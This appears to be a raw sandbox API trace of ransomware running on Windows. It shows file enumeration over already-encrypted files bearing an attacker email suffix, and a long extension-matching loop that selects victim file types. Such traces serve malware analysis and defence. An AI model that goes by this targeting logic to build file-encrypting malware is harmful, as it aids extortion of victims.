ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39616154, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.524] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.524] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3989e96e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3989e96e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3989e96e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.524] FindClose (in: hFindFile=0x4845d8 | out: hFindFile=0x4845d8) returned 1 [0157.525] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.525] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0157.601] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.601] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4842d8 [0157.602] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.602] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399f8ee4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.602] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.602] lstrlenW (lpString=".1cd") returned 4 [0157.602] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.602] lstrlenW (lpString=".3ds") returned 4 [0157.602] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.602] lstrlenW (lpString=".3fr") returned 4 [0157.602] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.602] lstrlenW (lpString=".3g2") returned 4 [0157.602] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.602] lstrlenW (lpString=".3gp") returned 4 [0157.602] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.602] lstrlenW (lpString=".7z") returned 3 [0157.602] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.602] lstrlenW (lpString=".accda") returned 6 [0157.602] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.602] lstrlenW (lpString=".accdb") returned 6 [0157.602] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.602] lstrlenW (lpString=".accdc") returned 6 [0157.602] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.602] lstrlenW (lpString=".accde") returned 6 [0157.602] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.602] lstrlenW (lpString=".accdt") returned 6 [0157.602] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.603] lstrlenW (lpString=".accdw") returned 6 [0157.603] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.603] lstrlenW (lpString=".adb") returned 4 [0157.603] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".adp") returned 4 [0157.603] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".ai") returned 3 [0157.603] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.603] lstrlenW (lpString=".ai3") returned 4 [0157.603] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".ai4") returned 4 [0157.603] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".ai5") returned 4 [0157.603] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".ai6") returned 4 [0157.603] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".ai7") returned 4 [0157.603] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".ai8") returned 4 [0157.603] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".anim") returned 5 [0157.603] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.603] lstrlenW (lpString=".arw") returned 4 [0157.603] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.603] lstrlenW (lpString=".as") returned 3 [0157.603] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.604] lstrlenW (lpString=".asa") returned 4 [0157.604] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".asc") returned 4 [0157.604] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".ascx") returned 5 [0157.604] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.604] lstrlenW (lpString=".asm") returned 4 [0157.604] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".asmx") returned 5 [0157.604] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.604] lstrlenW (lpString=".asp") returned 4 [0157.604] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".aspx") returned 5 [0157.604] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.604] lstrlenW (lpString=".asr") returned 4 [0157.604] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".asx") returned 4 [0157.604] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".avi") returned 4 [0157.604] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".avs") returned 4 [0157.604] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".backup") returned 7 [0157.604] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.604] lstrlenW (lpString=".bak") returned 4 [0157.604] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.604] lstrlenW (lpString=".bay") returned 4 [0157.605] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".bd") returned 3 [0157.605] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.605] lstrlenW (lpString=".bin") returned 4 [0157.605] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".bmp") returned 4 [0157.605] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".bz2") returned 4 [0157.605] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".c") returned 2 [0157.605] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.605] lstrlenW (lpString=".cdr") returned 4 [0157.605] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".cer") returned 4 [0157.605] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".cf") returned 3 [0157.605] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.605] lstrlenW (lpString=".cfc") returned 4 [0157.605] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".cfm") returned 4 [0157.605] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".cfml") returned 5 [0157.605] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.605] lstrlenW (lpString=".cfu") returned 4 [0157.605] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".chm") returned 4 [0157.605] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.605] lstrlenW (lpString=".cin") returned 4 [0157.606] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".class") returned 6 [0157.606] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.606] lstrlenW (lpString=".clx") returned 4 [0157.606] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".config") returned 7 [0157.606] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.606] lstrlenW (lpString=".cpp") returned 4 [0157.606] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".cr2") returned 4 [0157.606] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".crt") returned 4 [0157.606] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".crw") returned 4 [0157.606] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".cs") returned 3 [0157.606] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.606] lstrlenW (lpString=".css") returned 4 [0157.606] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".csv") returned 4 [0157.606] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".cub") returned 4 [0157.606] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".dae") returned 4 [0157.606] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".dat") returned 4 [0157.606] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.606] lstrlenW (lpString=".db") returned 3 [0157.606] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.606] lstrlenW (lpString=".dbf") returned 4 [0157.607] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".dbx") returned 4 [0157.607] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".dc3") returned 4 [0157.607] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".dcm") returned 4 [0157.607] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".dcr") returned 4 [0157.607] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".der") returned 4 [0157.607] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".dib") returned 4 [0157.607] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".dic") returned 4 [0157.607] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".dif") returned 4 [0157.607] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".divx") returned 5 [0157.607] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.607] lstrlenW (lpString=".djvu") returned 5 [0157.607] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.607] lstrlenW (lpString=".dng") returned 4 [0157.607] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".doc") returned 4 [0157.607] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.607] lstrlenW (lpString=".docm") returned 5 [0157.607] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.607] lstrlenW (lpString=".docx") returned 5 [0157.607] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.607] lstrlenW (lpString=".dot") returned 4 [0157.608] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".dotm") returned 5 [0157.608] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.608] lstrlenW (lpString=".dotx") returned 5 [0157.608] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.608] lstrlenW (lpString=".dpx") returned 4 [0157.608] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".dqy") returned 4 [0157.608] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".dsn") returned 4 [0157.608] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".dt") returned 3 [0157.608] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.608] lstrlenW (lpString=".dtd") returned 4 [0157.608] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".dwg") returned 4 [0157.608] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".dwt") returned 4 [0157.608] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".dx") returned 3 [0157.608] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.608] lstrlenW (lpString=".dxf") returned 4 [0157.608] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".edml") returned 5 [0157.608] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.608] lstrlenW (lpString=".efd") returned 4 [0157.608] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".elf") returned 4 [0157.608] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.608] lstrlenW (lpString=".emf") returned 4 [0157.609] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".emz") returned 4 [0157.609] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".epf") returned 4 [0157.609] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".eps") returned 4 [0157.609] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".epsf") returned 5 [0157.609] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.609] lstrlenW (lpString=".epsp") returned 5 [0157.609] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.609] lstrlenW (lpString=".erf") returned 4 [0157.609] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".exr") returned 4 [0157.609] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".f4v") returned 4 [0157.609] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".fido") returned 5 [0157.609] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.609] lstrlenW (lpString=".flm") returned 4 [0157.609] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".flv") returned 4 [0157.609] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".frm") returned 4 [0157.609] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".fxg") returned 4 [0157.609] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.609] lstrlenW (lpString=".geo") returned 4 [0157.610] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".gif") returned 4 [0157.610] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".grs") returned 4 [0157.610] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".gz") returned 3 [0157.610] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.610] lstrlenW (lpString=".h") returned 2 [0157.610] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.610] lstrlenW (lpString=".hdr") returned 4 [0157.610] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".hpp") returned 4 [0157.610] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".hta") returned 4 [0157.610] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".htc") returned 4 [0157.610] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".htm") returned 4 [0157.610] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".html") returned 5 [0157.610] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.610] lstrlenW (lpString=".icb") returned 4 [0157.610] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".ics") returned 4 [0157.610] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".iff") returned 4 [0157.610] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.610] lstrlenW (lpString=".inc") returned 4 [0157.611] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".indd") returned 5 [0157.611] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.611] lstrlenW (lpString=".ini") returned 4 [0157.611] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".iqy") returned 4 [0157.611] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".j2c") returned 4 [0157.611] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".j2k") returned 4 [0157.611] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".java") returned 5 [0157.611] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.611] lstrlenW (lpString=".jp2") returned 4 [0157.611] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".jpc") returned 4 [0157.611] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".jpe") returned 4 [0157.611] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".jpeg") returned 5 [0157.611] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.611] lstrlenW (lpString=".jpf") returned 4 [0157.611] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".jpg") returned 4 [0157.611] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".jpx") returned 4 [0157.611] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.611] lstrlenW (lpString=".js") returned 3 [0157.611] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.612] lstrlenW (lpString=".jsf") returned 4 [0157.612] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".json") returned 5 [0157.612] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.612] lstrlenW (lpString=".jsp") returned 4 [0157.612] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".kdc") returned 4 [0157.612] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".kmz") returned 4 [0157.612] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".kwm") returned 4 [0157.612] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".lasso") returned 6 [0157.612] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.612] lstrlenW (lpString=".lbi") returned 4 [0157.612] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".lgf") returned 4 [0157.612] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".lgp") returned 4 [0157.612] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".log") returned 4 [0157.612] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".m1v") returned 4 [0157.612] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".m4a") returned 4 [0157.612] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".m4v") returned 4 [0157.612] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.612] lstrlenW (lpString=".max") returned 4 [0157.612] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".md") returned 3 [0157.613] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.613] lstrlenW (lpString=".mda") returned 4 [0157.613] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mdb") returned 4 [0157.613] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mde") returned 4 [0157.613] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mdf") returned 4 [0157.613] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mdw") returned 4 [0157.613] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mef") returned 4 [0157.613] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mft") returned 4 [0157.613] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mfw") returned 4 [0157.613] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mht") returned 4 [0157.613] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mhtml") returned 6 [0157.613] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.613] lstrlenW (lpString=".mka") returned 4 [0157.613] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.613] lstrlenW (lpString=".mkidx") returned 6 [0157.613] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.613] lstrlenW (lpString=".mkv") returned 4 [0157.613] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mos") returned 4 [0157.614] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mov") returned 4 [0157.614] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mp3") returned 4 [0157.614] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mp4") returned 4 [0157.614] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mpeg") returned 5 [0157.614] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.614] lstrlenW (lpString=".mpg") returned 4 [0157.614] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mpv") returned 4 [0157.614] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mrw") returned 4 [0157.614] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".msg") returned 4 [0157.614] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".mxl") returned 4 [0157.614] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".myd") returned 4 [0157.614] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".myi") returned 4 [0157.614] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".nef") returned 4 [0157.614] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".nrw") returned 4 [0157.614] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.614] lstrlenW (lpString=".obj") returned 4 [0157.615] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".odb") returned 4 [0157.615] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".odc") returned 4 [0157.615] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".odm") returned 4 [0157.615] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".odp") returned 4 [0157.615] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".ods") returned 4 [0157.615] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".oft") returned 4 [0157.615] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".one") returned 4 [0157.615] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.615] lstrlenW (lpString=".onepkg") returned 7 [0157.615] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 